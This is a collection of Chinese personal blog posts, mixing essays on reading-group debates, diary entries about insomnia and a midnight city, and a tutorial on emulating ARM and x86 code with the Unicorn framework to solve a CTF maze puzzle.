我们真的不需要那么多朋友，有些人光是遇见就已经很折寿了

其次就是微信群聊吹水聊天的时间挤占太多了，随着参加活动越来越多，认识的人也越来越多，加上enfj的个性使然，越来越喜欢和人争论，本来在读书会里，我觉得争论是一种很自然的事情，也并非网上的杠精，大家都是理性的表达自己的一些思考，所以很喜欢这种氛围

但不可避免的，就有各种引战、男女对立、最让我讨厌的还是动不动就喜欢嘲讽国内男性，说什么和国外的客户谈合作人家都是从健身房过来的诸如此类国外的月亮更圆的说法，着实让人觉得有些无语凝噎。

毕竟总有那么一群人在追求者所谓的认知觉醒，张口闭口奇门遁甲，推背图，河图洛书诸如此类，看了两三篇营销号文章，对于《道德经》还一知半解，看一本书连最基础的概念都弄不清楚，还要上纲上线，无限放大，对于这些人，我还是选择回避吧。

另外附上一些思考同时还有怼人的flomo记录

怼“所谓写日常生活不好看”的说法

不知道为什么，最近开始沉迷于在微信群和各路人争论观点，这其中自然有我觉得有问题的，比如所谓文似看山不喜平，某人说你看红楼梦写日常生活，你看的下去吗，甚至还有应着，连声点头称是

于是我就看不下去了，《我的母亲做保洁》《我在北京送快递》这类记录日常点滴的书籍，难道也看不下去吗，对于我们来说这些日常也很平凡，但就是给我们一种不一样的体验，让我们知道原来在所谓苟且的生活中，也有人在努力生活着，人生也不是荒谬的诸如此类

所以我是一直反对一杆子打死某个事情的，这样对于思考来说当然很简单，很偷懒，也很省事，但我还是要说，分类讨论是必须得，在数学上，你只有不断的分类，不断地排除，正如福尔摩斯所说，当你把一切不可能都排除掉，剩下的不管多么荒唐才是真正的结论，但关键是你要去穷尽所有的可能性，而不是一味地，啊非A即B，非黑即白，非死即生，人哪有那么简单，用一句话就能简单概括

思考“电子书是否会成为主流”

必须得系统总结一下我认为电子书为什么会是主流，摸鱼打字中

书的作用是什么，书是人类文明进步的阶梯，历史上西方文艺复兴时期的兴盛，很大一部分原因是古登堡印刷机大大促进了知识的传播，打破了教会对于知识的垄断，从这一点上来说，纸质书的诞生和快速传播有其必然性和历史使命

但正如马克思所说的当生产力的发展达到了现有生产关系无法适应的程度时，生产关系就会成为生产力进一步发展的障碍。纸质书作为传递人类文明的载体，也遵循着类似的规律，在极大促进人类文明传播的过程中，人类文明本身也在不断地沉淀，肉眼可见的纸质书从几页的小册子逐步发展为越来越厚的大部头，此时纸质书的形式已经明显无法承载人类文明成果了，更遑论其查询、印刷、仓储、传播等成本

其余所谓纸质书更有感觉，阅读更快，个人偏好等等，均属于小众群体的爱好罢了（我且不追究喜欢纸质书的人究竟是不是叶公好龙吧/手动狗头），毕竟21世纪还有人坚持信仰君主，但这终究无法阻碍民主成为主流，电子书完全取代纸质书也终究只是时间问题罢了

怼“所谓某人觉得的23年最佳书籍《信号与噪声》”

《信号与噪声》第一眼看这本书其实我是不太感冒的，因为看到这种书，尤其是外国作者，再加上xx时报推荐，什么必读、什么榜单的，属于是buff叠满了，但在我看来每一条都可以是我不读的理由

但我还是耐下性子，毕竟没有读过就没有评价的权利，先花了两个小时左右快速翻了一下，不得不说作者的语言是真的很啰嗦，很多观点在我看来也就是浅尝辄止，如要不断收集信息，如预测和预言的区别，如模型过拟合等等

对于没有接触过这些理论的人来说，或许确实值得一读吧，但在我看来有更好的这类科普书可以作为替代

说了这么多诋毁这本书的话，但我还是想推荐一下，因为我在快速读完之后也忍不住去回味下其中的内容，特别是关于德州的打法，作者写的还是很有意思的（笑）

信号是什么，噪声是什么，作者并没有一开始给出完整的定义，害的我找了半天，终于找到了他埋藏的隐秘，“信号是统计或预测问题背后真相的表征”

这个定义我是接受的，因为它让我想起了本征向量（也叫特征向量），这个在数据统计中是有可以被拟合出来的，而噪声，作者称为“容易被误认作信号的随机模型“，这一点我觉得也没多大问题，如果了解过定性与半定量物理学分析，就能知道物理学家门有时候宁愿牺牲准确性，也要去找到一条能够满足特征的拟合曲线了

如果作者直接把这俩定义摆出来，并着重去叙述，我个人认为这本书的评分还可以再上升一点。

最后，这本书的作者强调了一点“本书是关于预测的，而不是关于如何预测的”，作者所能提供的就是从各种已经发生或者可能将要发生的事情中，去梳理辨别信号、噪声（好吧其实他连这一点做的也不够好），因此，这本书更多的是需要你自己来思考了，作者基本没给你什么帮助，最多是给了你一些可供思考的案例

怼“有人觉得三毛关于读书一句话是扯淡”

“读书多了，容颜自然改变。许多时候，自己可能以为许多看过的书籍都成过眼烟云，不复记忆，其实他们仍是潜在的。在气质里，在谈吐上，在胸襟的无涯。当然，也能显露在生活和文字中。”

说实话我一直都很喜欢三毛的这句话，但是上次群里有人数这是扯淡，还说你在大学不喜欢的专业学了就是白学

我很反对这种光靠吐槽情绪的说法，

我记起来，我接触的第一本书是一套连环画，但那其中的内容我早已忘却，你说有什么意义吗？确实没有，但我没看那套书，会和现在的我有些许不同吗？我也不知道。但是我愿意相信这是有不同的，可能这就是一个意义吧

意义到底在哪里？意义只存在于那一瞬间，那一瞬间你看到了，但是他就过去了

怼“所谓康有为的评价”

动不动就有人卖弄，说什么看历史人物，只盯着裤裆里那点事看，不看他xxxxx之类的句式，都可以成为模版套用了

我对康有为的评价：

那个短视频的观点片面，这个没毛病，刻意只提那点事
涉及到实际对康有为的评价，这个很复杂，评价角度是多方面的（思想/学术/政治/阶级/实际行动/不同年龄阶段的主张等等），从马克思唯物主义史观的角度，他早期的一系列主张如变法思想、发展实业、君主立宪等在当时都属于有进步意义的，但人总会受限于自己的阶级，通俗来说就是屁股决定脑袋，他骨子里代表的还是士大夫地主阶层，保皇派，因此他之后的种种举动，如密谋刺杀孙文，鼓吹复辟等等，属于是开倒车了，被时人骂为封建余孽，生活作风问题被指责也就不足为奇了。
最后，至少从我个人最朴素的角度来说，我不否定他的功绩，但我对这人没啥好感（

怼“所谓马克思唯物史观就是循环论证”

这个我真的服了，所谓群里某个“田老师”，就只会质疑无限杠，那你倒是说说自己觉得哪里不对啊

关于驳斥马克思唯物主义史观是「循环论证」

首先你要区分下什么是循环论证，循环论证举例比如“我说话是真的，因为我很诚实”，“因为很诚实，所以我说话很真”，循环论证的本质是没有加入独立的论据来辅助，而唯物史观显然不是循环论证这么简单。

然后再来看你说的，

「他怎么就代表大地主的利益了」，他当然代表大地主的利益，这是从他的言行举止，他当时的主张等一系列论据推导出来的，这是和当时的革命党人有本质区别的，所谓「大地主」这个名字只不过是用来区分一下，但归根结底你不能否认他的阶级和他代表的利益群体就是有局限性的，是和另外的群体不同的。
「怎么就是历史倒车了」，可能是我没表述清楚，在辛亥革命成功后，民主已经是当时社会主流共识，复辟已经是不可能的，但他依然鼓吹复辟，谋害革命党人，这是和当时主流思潮相违背的，这你总不能否认吧，这难道还不够说明是开历史倒车吗（不需要关注复辟的结果，因为复辟肯定失败）。就好比你现在想回到封建君主制，那你显然就是在开历史倒车，并不需要过个十几年等结果出来才能说明这点。
「具体分析君主立宪和保皇，为什么中国不行」，那这又是另一个话题了，得放到辛亥革命之前来讨论，在晚晴大变局的时代，每一种思想都是有其价值的，这我也不否认，此时他的主张用马克思唯物主义史观来看也是值得肯定的，至于为啥中国不行，那只能说是晚清自己作死了。

思考“悲剧和喜剧谁更伟大”

悲喜剧的谁更胜一筹早已有论断，我也驳不倒这个，但我不喜欢人云亦云，几乎所有人都承认喜剧的内核都是悲剧，也承认悲剧才是最伟大的，否则为何茨威格偏偏要为斯科特队写下《伟大的悲剧》呢？能举出的例子实在是太多了

但我还是要想，虽然悲剧的如此伟大，但我想创作者的本意并不是非要为了写悲剧而写悲剧，开头一定是以喜剧的方式呈现，再毁灭之，再以喜剧方式呈现，再毁灭之，如此循环。可反过来，为什么不能是先以悲剧的方式呈现，再以喜剧的灵魂拯救之呢？只能说是人的底色是悲伤的，人不愿意去相信有美好的结局。不然为何孔子老是要说，「道不行，乘桴浮于海」。可他真的做了吗，不见得，「滔滔者天下皆是也，而谁以易之」，坏人坏事就像洪水一样，谁又能改变呢？这足够悲剧了吧，足够让人痛心了吧。但孔子还是要说「天下有道，丘不与易也」，这位「晃晃如丧家之犬」的老头子，依然演绎着乱世中独属于他的一场喜剧。

最伟大的喜剧，首推卓别林的《摩登时代》吧，当然可以说这喜剧的内核也还是反映了资本主义时代下的工人的悲剧，但在这部伟大的作品中，依然能让观众在经济萧条的黑暗中，恢复对生活的信心，卓别林在夸张和荒诞中演绎真实，在嘲弄与逗乐中带给人希望和力量。

就连我在开头中写到的茨威格，他记述斯科特冲击南极点失败的悲剧，难道其目的就是让后人再不去探寻地球冰川的奥秘了吗？不见得吧，这个伟大的悲剧，不断激励着一群人，他们想穿越浩瀚无垠的雪原，想见识极地独一份的极昼和极夜，想让自己国家的国旗永远矗立在南极点之上，从来没有人会因为悲剧而停下自己的脚步。

悲喜剧的论断我终究无力反驳，但我想这两者本就是密不可分的，「我将让它成为融合物：就让我们叫它悲喜剧吧。我不认为一贯称呼一部既有国王又有神明的剧为戏剧是恰当的。你怎么想？既然这剧里也有奴隶，我就称它为悲喜剧好了」

一些随笔记录

关闭了哗哗响的水龙头，再将刷子，洗干净的抹布晾在一边，擦干净湿漉漉的手掌，然后抹去眼角的一滴汗，我坐下来，拿起手机记录这一次清洁中的想法。

我的睡眠不算太好，偶发性失眠，生物钟很固定，午睡起来之后，有一种怅然若失的感觉，半掩的窗帘一角，透出一道光线，此时才发现外面的天气甚是晴好，似乎是仗了好风好日的胆子，我开始了这次的大扫除。

曾经是每个周末都会做一些简单的清洁，六祖慧能所写的「本来无一物，何处惹尘埃」境界我是无法达到的，书桌上，《南北归一》《女性是一束光》《世界上为什么要有图书馆》这几本书还未完全看完，装在包里的相机，xbox游戏里，显示器，还有真吃灰许久的switch，每一件都是我曾心仪的事物，想起曾经收到它们，都装在崭新发亮的盒子里，带给我或是欢乐或是思考或是趣味，难以想象我的生活离开了它们会如何，也许神秀所写的「时时勤拂拭，勿使惹尘埃」才是我们生活的最真实写照。

擦瓷砖的时候，恍惚间才意识到，原来瓷砖的颜色本就是那么洁白无瑕，只因沾染了旧物，失去了其原本颜色，那些未见过原先洁白颜色的，竟以为现在的颜色才是正常的。眼睛里染上了蒙尘，自然看什么都带点滤镜。我奋力洗去最犄角旮旯的污垢，开始痛骂自己为什么每天都视若无睹，好在我也不在乎时间，不在乎用了多少水，完成我想要的工作就好，独处的意义就体现出来了，无需有太多顾虑，紧赶慢赶，做到一半半途而废也不是不行，想到这，压力顿绝轻松许多。

曾经看到 one・一个 app 上的一篇文章，摘录了一句如下：

「我也只有这么些本事，收拾屋子，读几本书，再写下一些不重要的文字，日子天天过，在自己眼前这片小天地里怡然自得，我花光了所有力气」

花光所有力气倒不至于，但做点事情总是很开心的，且乐生前一杯酒，喝了，乐了，再说！

Unicorn 模拟执行工具使用

Sat, 18 May 2024 00:00:00 GMT

Unicorn 模拟执行工具使用

认识模拟执行

我们很多时候都喜欢用真机来调试，因为真机环境是最好的，但有时候我们找不到一个真机环境，或者环境很难复现（比如路由器分析等），此时自然而然就会想到模拟器，类似Windows上的夜神模拟器，Linux的qemu模拟器

但是模拟器还是存在一定的局限性，比如夜神模拟器其实是只能运行x86_64的指令集，此时模拟执行框架就应运而出了。

Unicorn 就是一款非常优秀的跨平台模拟执行框架，该框架可以跨平台执行Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64)等指令集的原生程序。

使用unicorn

我比较喜欢开门见山地直接演示代码执行，安装的话比较简单，pip install就好

那么在使用unicorn的过程中，需要有几个步骤：

step1: mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB) 初始化一个虚拟机，选择你的指令集和架构
step2: mu.mem_map(ADDRESS, 2 * 0x10000) 映射一段内存区域
step3: mu.mem_write(ADDRESS, ARM_CODE) 往内存区域中写入一段代码
step4: mu.reg_write 设置寄存器的值，即运行代码上下文的环境
step5: mu.emu_start 开机模拟
step6: 监控运行过程中的状态，比如单条指令执行结果，寄存器值的变化，类似gdb调试一样

了解了上述过程，我想模拟执行的大致流程就出来了，如下是实际运行一段代码

from unicorn import *
from unicorn.arm_const import *
ARM_CODE   = b"\x37\x00\xa0\xe3\x03\x10\x42\xe0"
 mov r0, 0x37;
 sub r1, r2, r3
 Test ARM
 
 callback for tracing instructions
def hook_code(uc, address, size, user_data):
    print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))
 
def test_arm():
    print("Emulate ARM code")
    try:
         Initialize emulator in ARM mode
        mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
 
         map 2MB memory for this emulation
         uc_mem_map 映射的内存 address和size都要和0x1000对齐
        ADDRESS = 0x10000
        mu.mem_map(ADDRESS, 2 * 0x10000)
        mu.mem_write(ADDRESS, ARM_CODE)
 
        mu.reg_write(UC_ARM_REG_R0, 0x1234)
        mu.reg_write(UC_ARM_REG_R2, 0x6789)
        mu.reg_write(UC_ARM_REG_R3, 0x3333)

         hook UC_HOOK_CODE 是指令级别的hook
        mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
         emulate machine code in infinite time
        mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))
        r0 = mu.reg_read(UC_ARM_REG_R0)
        r1 = mu.reg_read(UC_ARM_REG_R1)
        print(">>> R0 = 0x%x" % r0)
        print(">>> R1 = 0x%x" % r1)
    except UcError as e:
        print("ERROR: %s" % e)

test_arm()

如上代码，我们想要模拟执行一段 arm 的代码，当然代码很简单，你可以一眼就看出运行结果

mov r0, 0x37
sub r1, r2, r3

此时我们要做的就是按照 step1~step6 的过程来编写代码，然后这里重点讲一下是如何监控调试的

Unicorn 提供了指令级别的hook，只需要编写回调的函数，就能监控上下文

 callback for tracing instructions
def hook_code(uc, address, size, user_data):
    print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))
         

... 省略代码
		 hook UC_HOOK_CODE 是指令级别的hook
        mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)

最后我们读取执行完这段代码后的寄存器结果如下：

❯ python unicorn_t2.py
Emulate ARM code
>>> Tracing instruction at 0x10000, instruction size = 0x4
>>> R0 = 0x37
>>> R1 = 0x3456

unicorn能做什么？

既然用了如此强大的模拟执行框架，那么我们就可以用来… 写汇编！

笑死，以前我想模拟跑一个x86或者arm汇编的时候，还会为环境模拟而头疼，此时有了unicorn，那就可以很轻松地写任何语言的汇编了嘛！

比如我们用arm来写一个计算斐波那契数列的汇编，学习一下arm的指令

三个寄存器就够了，互相做加法，最后的代码：

.global main
main:
    MOV R0, 10          // 设置斐波那契数列的长度为10
    MOV R1, 0           // 初始化第一个斐波那契数为0
    MOV R2, 1           // 初始化第二个斐波那契数为1
loop:
    CMP R0, 0           // 检查计数器是否为0
    BEQ end              // 如果计数器为0，则跳转到end
    ADD R3, R1, R2       // 计算下一个斐波那契数
    MOV R1, R2           // 更新第一个斐波那契数为当前第二个斐波那契数
    MOV R2, R3           // 更新第二个斐波那契数为刚计算出的数
    SUB R0, R0, 1       // 计数器减1
    B loop               // 跳转回循环开始处
end:
    // 结束程序

arm汇编指令学习

记录下常见的arm汇编指令如下：

MOV: 数据传输指令。用于将立即数或另一个寄存器的值移动到一个寄存器。例如，MOV R0, 10 将10移动到寄存器R0。
CMP: 比较指令。用于比较两个寄存器的值。结果不存储，但影响状态寄存器（设置条件标志）。例如，CMP R0, 0 比较R0和0。
BEQ: 条件分支指令。如果最近的 CMP 结果为相等，则跳转到标签。例如，BEQ end 如果条件满足（相等）则跳转到 end。
ADD: 加法指令。将两个寄存器的值相加并存储到另一寄存器。例如，ADD R3, R1, R2 把R1和R2的值相加，结果存储在R3。
SUB: 减法指令。从一个寄存器的值中减去另一个寄存器的值或立即数。例如，SUB R0, R0, 1 是将R0的值减1。
B: 无条件跳转指令。跳转到指定的标签。例如，B loop 无条件跳转回 loop 标签。
LDR/STR (Load/Store): 用于从内存加载数据到寄存器或将数据从寄存器存储到内存。
- 示例：LDR R3, [R1] 从由R1指定的内存地址加载数据到R3。
- 示例：STR R3, [R1] 将R3的数据存储到由R1指定的内存地址。
BL/BLX (Branch with Link/Branch with Link and Exchange): 用于函数调用，保存返回地址到链接寄存器（LR）。

示例：BL function_name 调用名为 function_name 的函数，并将返回地址保存在LR中。

PUSH/POP (Stack Push/Stack Pop): 用于操作堆栈，通常在函数调用中保存和恢复寄存器。
- 示例：PUSH {R0, R1, LR} 将R0, R1, 和链接寄存器LR压栈。
- 示例：POP {R0, R1, LR} 从堆栈中弹出数据到R0, R1, 和LR。
BNE, BGT, BLE, etc. (Branch if Not Equal, Branch if Greater Than, Branch if Less or Equal, etc.): 条件分支指令，基于CMP指令设置的标志进行分支。

示例：BNE somewhere 如果最后一次比较结果不相等，则跳转到 somewhere。

模拟执行

这里因为我们是直接写的arm汇编代码，机器其实是不认识的，因此还需要借助 keystone 工具来将其转为机器码，转为机器码之后就可以模拟执行了

from unicorn import *
from unicorn.arm_const import *
from keystone import *

 ARM汇编代码
arm_code = """
.global main
main:
    MOV R0, 10          // 设置斐波那契数列的长度为10
    MOV R1, 0           // 初始化第一个斐波那契数为0
    MOV R2, 1           // 初始化第二个斐波那契数为1
loop:
    CMP R0, 0           // 检查计数器是否为0
    BEQ end              // 如果计数器为0，则跳转到end
    ADD R3, R1, R2       // 计算下一个斐波那契数
    MOV R1, R2           // 更新第一个斐波那契数为当前第二个斐波那契数
    MOV R2, R3           // 更新第二个斐波那契数为刚计算出的数
    SUB R0, R0, 1       // 计数器减1
    B loop               // 跳转回循环开始处
end:
    // 结束程序
"""

 初始化Keystone引擎
ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)

 将ARM汇编代码编译为二进制代码
arm_code_binary, _ = ks.asm(arm_code.encode())

 设置模拟器
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)

 分配内存空间并将ARM代码加载到内存中
ADDRESS = 0x1000000
mu.mem_map(ADDRESS, 0x1000)
mu.mem_write(ADDRESS, bytes(arm_code_binary))

 设置寄存器初始值
mu.reg_write(UC_ARM_REG_SP, 0x7fffffff)

 定义hook函数，在每条指令执行后输出寄存器的值
def hook_code(uc, address, size, user_data):
    print(f"Instruction at 0x{address:x} executed")
     寄存器名称映射
    reg_names = {
        UC_ARM_REG_R0: 'R0',
        UC_ARM_REG_R1: 'R1',
        UC_ARM_REG_R2: 'R2',
        UC_ARM_REG_R3: 'R3',
    }
    for reg in [UC_ARM_REG_R0, UC_ARM_REG_R1, UC_ARM_REG_R2, UC_ARM_REG_R3]:
        reg_value = mu.reg_read(reg)
        reg_name = reg_names.get(reg, 'Unknown')
        print(f"{reg_name}: {reg_value}")
    print()

 添加hook函数，在每条指令执行后触发
mu.hook_add(UC_HOOK_CODE, hook_code)

 开始模拟执行
try:
    mu.emu_start(ADDRESS, ADDRESS + len(arm_code_binary))
except UcError as e:
    print(f"Error: {e}")

 输出寄存器值
print("R1:", mu.reg_read(UC_ARM_REG_R1))
print("R2:", mu.reg_read(UC_ARM_REG_R2))
print("最终结果 R3:", mu.reg_read(UC_ARM_REG_R3))

解题

网上能找到的比较有意思的题目应该就是这道 100mazes了，参考：例题：MTCTF2021 100mazes

题目的要求是：有100个迷宫，需要给出每个迷宫的路线，最后提交这些路线的md5结果作为flag

那肯定是不能直接手动求解啊，于是观察每个迷宫的代码：

然后每个函数其实都是读取迷宫数据，再根据你的输入路线判断能否到达终点：

那么就可以编写代码，提取到迷宫数据，然后再通过dfs搜索能否走到迷宫了（其实不用模拟执行也不是不行？毕竟你也可以通过写脚本比如idapython提取迷宫数据，然后再编写代码走迷宫）

这里就重点分析下他是如何用unicorn去模拟执行代码的，虽然unicorn是能直接模拟指令层面的，但是对于类似printf这类函数就无能为力了，因此需要做额外处理

另外就是这里除了寄存器，还需要模拟一个栈

关键代码就是这个，

def hook_code(uc, address, size, user_data):
    global map_data, str_map, ans_map, ans, all_input
     print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' % (address, size))
    assert isinstance(uc, Uc)
    code = uc.mem_read(address, 4)
    if code == b"\x48\x0F\xC7\xF0":
        uc.reg_write(UC_X86_REG_RIP, address + 4)        遇见rdrand rax直接跳过

    if address == 0x640:                                 遇见printf ret
        rsp = uc.reg_read(UC_X86_REG_RSP)
        retn_addr = u64(uc.mem_read(rsp, 8))
        uc.reg_write(UC_X86_REG_RIP, retn_addr)
    elif address == 0x650:                               遇见getchar  读取迷宫
        rbp = uc.reg_read(UC_X86_REG_RBP)
        maze_data = uc.mem_read(rbp - 0xC6A, 0x625)      迷宫数据
        step_data = uc.mem_read(rbp - 0x9F9, 4).decode() 方向数据
        xor_data = uc.mem_read(rbp - 0x9D0, 0x9C4)       异或数据
        lr_val = u32(uc.mem_read(rbp - 0x9F4, 4))        起点x
        ur_val = u32(uc.mem_read(rbp - 0x9F0, 4))        起点y

        maze_data = list(maze_data)                      异或
        for i in range(0, 0x9C4, 4):
            maze_data[i // 4] ^= u32(xor_data[i: i + 4])

        for i in range(25):                              合成最终的迷宫
            line_data = ""
            for j in range(25):
                line_data += chr(maze_data[i * 25 + j])
             print(line_data)

        map_data = maze_data
        str_map = step_data
        ans = ""
        assert dfs(0, -1, -1, lr_val, ur_val)           深搜
         print(ans)
        all_input += ans

                                                        leave;ret
        rbp = uc.reg_read(UC_X86_REG_RBP)
        new_rbp = u64(uc.mem_read(rbp, 8))
        retn_addr = u64(uc.mem_read(rbp + 8, 8))
        uc.reg_write(UC_X86_REG_RBP, new_rbp)
        uc.reg_write(UC_X86_REG_RSP, rbp + 0x18)
        uc.reg_write(UC_X86_REG_RIP, retn_addr)

周报28 万恶的调休、零点城市与无尽的失眠

Sun, 12 May 2024 00:00:00 GMT

周报28 万恶的调休、零点城市与无尽的失眠

五一节后便是万恶的调休，假期后连上六天班真的有点顶不住，再加上连续好几天的失眠，让本就疲惫的人雪上加霜。可问题是尽管失眠，但白天的精神却又出奇的好，到了晚上又开始失眠，实在是郁闷。

我曾反思过自己失眠的原因，估计就是想太多。我很喜欢伍尔夫的《墙上的斑点》，这种意识流的作品，尽管确实不知道作者写了什么🤣。但我的失眠有很大一部分原因就是这种意识流的思考所导致的，但为啥我就没法成为像伍尔夫一样的作家呢🐶

这种带点胡思乱想的症状，似乎我小学时候就意识到了。我至今还记得那好像是小学毕业考试，一堂数学考试吧，我早早地就做完了试卷，检查多次也没发现什么问题。这时我突然做了一个实验，我盯着课桌上，那因为被学生使用过多次导致的划痕，开始了我的跳跃思维实验。

具体想了什么肯定是不得而知了，但我确实发现，我的思维就能毫无症状的从一件事跳到另一件事，无数的思绪如放电影一样，我甚至都无法阻止，最后指的使劲摇了摇头，让自己回到现实中。

零点城市

不过最近失眠的原因，除了胡思乱想外，还有一层原因，得怪自己强行把生物钟给打乱了🐶

很久以前，大概还是上高中的那会，我记得杂志是很流行的，最经典的就是《Vista 看天下》了吧，当然读者、意林、作文素材之类的也很受原因。但我依稀记得有一本略带点与众不同气质，文风类似《萌芽》的杂志，名字早已不记得。在其上看到过一篇《零点城市》的文章，印象特别深刻，大意就是作者和朋友在零点过后的城市街道边散步，有了一种与平常观察城市全然不同的视角，于是写下了这篇文章

读书的年纪自然是少有机会，在零点过后的城市闲逛，但不知怎的，这篇文章却一直被我记着，估计是幻想着某一天也能和朋友，体验这种全新的观察视角吧。

小时候生活在农村，就一直憧憬着城市生活，因为城市里不会向农村家家户户门前都养一条狗！没错，这就是一个小孩想生活在城市里最朴素的理由，我至今记得小时候对狗的恐惧，每每看到农家门口体型中等的犬对我狂吠，心里就开始憎恨为什么要生活在农村。

后来也是随着时代变迁（暂时想不出一个好的词汇来形容），跟随父母搬到了城市里。虽然少了让我惧怕的狗狗，我却几乎很少感受到一种称之为“生活”的体验，不过也可以说是学业繁忙吧，高中要补课，大学寒暑假回来的也少，毕业后又直接去深圳打工，中间在家停留最长的时间反倒是疫情了，不过也基本是被迫宅在家里。

但我内心中还是喜欢城市的，不过现在也不会那么排斥农村了，因为现在可能没那么怕狗了吧🐶。尤其喜欢在周末的时候，坐上一趟公交，慢悠悠地到达我的目的地。为什么喜欢坐公交呢，因为它提供了一种全新的视角，相比小轿车，公交车的位置更高，视野更好

人总是很奇怪的，当你处在一个很低的位置，当你的视线被遮挡，你就会感到烦闷。而公交车上，你的视野是开阔的，是不受遮挡的，是一览众山小的。

古人登高，方有慨然之志，方有栏杆拍遍的豪情，方有潦倒新停浊酒杯的苦闷。可见如果想要解忧愁，就得登高，但是我又懒得爬山，那就坐公交吧🤣

但我更喜欢的还是在零点之后去观察这座城市，此时，原本繁华的商圈，早已寥寥，那些装点华美的灯光，装饰，全都变得黯淡，反倒是最朴实无华的排挡，那些俗气到爆的灯光下，人们依旧喧闹。

我写不出那么好的文字，于是抱着试一试的心态，尝试去找我记忆中的《零点城市》这篇文章

没想到还真让我找到了这篇文章，摘录其中的内容如下：

零点，大多的商铺选择了关门大吉，超市都是九点多就把门关了。碰上闲暇的日子和朋友出去旅行，来到一座陌生的城市，都想去看看他它的夜景，一个城市的繁华程度往往取决于它的夜景。我们不是要看它有多繁荣，而是看它零点的风景。那时候，有些小摊贩还在一边打哈欠一边工作，这时候是没有人管着他们的，城管早就下了班抱着爱人睡觉了。打工仔们赤膊在某个风口谈笑风生，他们也许不喜欢打麻将出来吹吹这自然的风也许是打完麻将出来散散心。这里也有煲电话的，和在另一个城市的亲朋好友，女朋友接上电话机不想放下了。说着自己都不知道是什么的话，两三个小时，扯着事，笑哈哈的，最起码从声音里给他们证明一切安好。

零点的城市是带着灵性的，我一直都这么认为。这里有数不清的人把自己的故事在这个点上，在这个陌生的城市毫不保留的呈现给这座城市。这时候明白了既来之，则安之的道理。偶尔有两三个taxi，拉黄包车的，扎堆的打扑克，这是他们唯一的娱乐。如果你是千千万万个人群中的一个，就融入这个点上的城市，养成他们的习惯，体会他们的生活。

flomo

这里记录我摘录到flomo的话，附上一些我的感想

一个洞穴是黑暗的，但只要有光打了进去，黑暗就不再是他的宿命大洋是隔绝的，沙漠是危险的，但只要有人穿了过去，阻绝就不再是我们的宿命一个人一生是孤独的，但你只要感受过一次被爱，你就会忘不掉，孤独不再是你的宿命

—— 陈铭为什么那么会说啊，这句话我真的很喜欢，语出辩论赛《被误解是表达者的宿命吗》，反方

我个人认为，小说，是不需要「被解构」的，不需要「看懂」，不需要做「阅读理解」。你感觉到了，就行了；或者你感觉不到，那就去另找一本。感觉就是感觉，不需要解释后再「明白」，这本书确实让我颅内高潮了好多次。

—— 出自这篇公众号文章，点评《夜晚的潜水艇》，“颅内高潮”这个词学到了，我觉得我经常有这种感觉，那种拍大腿的惊喜

书无法完整替代人，尤其一开始时，但大致来说，人能做到的，书差不多都能做得到，某些方面甚至还更好，只因为书毕竟是由那些更好的，层层挑拣出来的人写成的，不像能陪伴你的人通常只由命运潮水带来，相处总杂着些许义务。而且，时间一拉长就不一定了，时间愈拉长，书愈能显露出它源源的、丰厚的内容，所以找书可以比找人更主动更多选择也更准确，你愈找它就愈会找，你会感觉还有些东西——技艺、见识，鉴赏能力云云—— 多得的礼物。默默在自己身体里累积着，如多得的礼物

—— 语出唐诺老师的《求剑》，最近开始喜欢上了唐诺老师，他的思考真的很深刻，字里行间中都能透出他深邃的思考

今天中午我专门问了一下同事，有没有感兴趣的话题，我收到反馈说：现在很多团队都很焦虑，其中一个原因是大家的目标感特别强，做了很多对标竞品的计划，但这样特别累，陷入到跟竞争对手对比、用同样的方法去做事情的状态。这个跟我理解的产品方法是有点不同的，好的产品有非常多内驱的自我表达部分，如果我们忽略了自我表达的部分，纯粹做数值的计算，或者纯粹地做求解，差别还是非常大的。并且，我们工作创造的价值是我们对一个新的事情的独特认知所带来的，如果我们去对标竞争对手而做，那我们没有创造新的知识，因而也很难让产品变得更有价值。

—— 语出小龙哥，我一直觉得小龙哥的思考是很深的，在其他老板都说着一些虚无缥缈的，难以落地的，高大上的方法论时，他总能一句话点出问题的本质。最近还想到一个暴论，好的产品，其实就是要独裁，你管什么用户的吐槽（当然正常的反馈没问题），但是但凡要教我做事的，都滚一边去吧

或许后来的人不会意识到，那年微信红包最重要的内核是真诚。最难复制的，不过简单纯粹而已。

—— 语出《微信十年》，我写了一条点评：“用户永远是一群流氓，永远贪得无厌，永远得寸进尺，永远自以为是。对付这群流氓最简单的方式，也就是最直接的方式，还可以借此让流氓的胃口变大”

周报27 推迟两个月的更新、深圳的大雨和一些杂七杂八的记录

Thu, 02 May 2024 00:00:00 GMT

周报27 推迟两个月的更新、深圳的大雨和一些杂七杂八的记录

这是一篇迟到了两个月的更新

写作最适合独处，独处时最适合写作，由此，写作频率的减少，反推处我的独处时间在大量减少

因此我从没想到，去年一次偶然的决定去参加读书会，让我收获了这么多朋友

我们可以在美好的4月天，于深圳湾处，寻个阴凉的草地，争论《大国大城》的观点，从下午吵到晚上，再连续微信群里吵一周我们也可以在深夜狼人杀，猎人被刀开枪女巫好人阵营直接崩盘也可以在公司一间宽敞的会议室里，邀请喜欢阅读的朋友们，就一本书分享各自的观点

这是我此前从未经历过的，以致于没有时间写一点伤感的文字来假装矫情一下了 /doge

后续的更新会慢慢补上的，慢慢来吧~

关于探讨《大国大城》

一场关于自由主义和保守主义的对立，作为正方的我和老李，赞同书中陆铭的观点，人口就需要自由流动起来，建设用地指标也可以流动起来，大城市不再需要顾虑耕地红线指标

作为反方的haofeng和友人，则强烈反对，认为这势必会导致弱势群体进一步被剥削，国家的稳定性得不到保障

我本来也想参与讨论的，但奈何“吵”起来的时候，大家基本各说各话，很难达到统一的观点哈哈哈哈。但这场讨论是我见过最激烈最好玩的了，我们从下午草地上吵到晚上吃饭的时候，回家后又在微信群里吵，后面工作的一周也一直在吵哈哈哈哈

记录一下：

